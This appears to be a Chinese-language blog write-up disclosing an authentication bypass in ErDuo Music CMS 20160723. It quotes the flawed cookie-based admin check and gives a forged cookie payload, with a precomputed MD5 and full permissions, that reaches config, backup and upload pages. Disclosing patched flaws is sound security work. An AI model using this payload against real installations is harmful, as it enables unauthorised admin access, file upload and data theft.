耳朵音乐CMS 免认证登录

漏洞版本20160723,官方于今天修复了该漏洞。
0x01:漏洞分析
在文件 admin.php 第四行:

$frames = array('login', 'index', 'body', 'config'....);
  $iframe = !empty($_GET['iframe']) && in_array($_GET['iframe'], $frames) ? $_GET['iframe'] : 'login';
  include_once 'source/admincp/module/'.$iframe.'.php';

变量 $iframe 通过 GET 方式获取值,如果 iframe 的值不在数组 frames 里就定向到 "login.php"。我们以 "config.php" 为例,当传入参数 "?iframe=config" 时将包含文件 "source/admincp/module/config.php",跟进该文件从第二行可以看到如下代码:

if(!defined('IN_ROOT')){exit('Access denied');}
    Administrator(2);
    $action=SafeRequest("action","get");

跟进函数 "Administrator",在 "source/admincp/include/function.php" 第三十九行定义了 "Administrator":

function Administrator($value){
        if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
            ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
        }
        setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
        if(!empty($_COOKIE['in_permission'])){
            $array=explode(",",$_COOKIE['in_permission']);
            $adminlogined=false;
            for($i=0;$i<count($array);$i++){
                if($array[$i]==$value){$adminlogined=true;}
            }
            if(!$adminlogined){
                 ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0);
            }
        }else{
            ShowMessage("帐号异常,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
        }
    }

这段代码通过 cookie 验证登录用户信息,将 "in_adminid","in_adminname","in_adminpassword","in_permission" 拼接在一起 MD5 后与 "in_adminexpire" 的值比较,左右两值相等就通过验证,再通过 "in_permision" 验证该用户是否有本页面权限。在数组 "frames" 中的页面都没有通过数据库验证用户信息,因为 cookie 我们是可控的所以我们很容易绕过它的验证方式。以 "config.php" 为例,先进入 "http://xxx.xxx.xxx.xxx/qwyy/admin.php" (这步我也不知道为什么要这样,直接进入 "http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config"不能成功 QAQ,改了 Refer 也不行):这时候我们没有保存cookie,页面将会跳转到 "login.php":
1
再次登录 "http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config" 用 burpsuit 截取数据包修改 cookie 为:

in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_adminexpire=b2e9b95b82be9264c3368b3f0de34f08

截图结果显示我们成功绕过验证并登录到 "config.php",利用此方法可以登录到 "config.php","backup.php","index.php"等页面进行文件上传,数据库备份以及其他危险操作:
1
Author:LionEiJonson

发表评论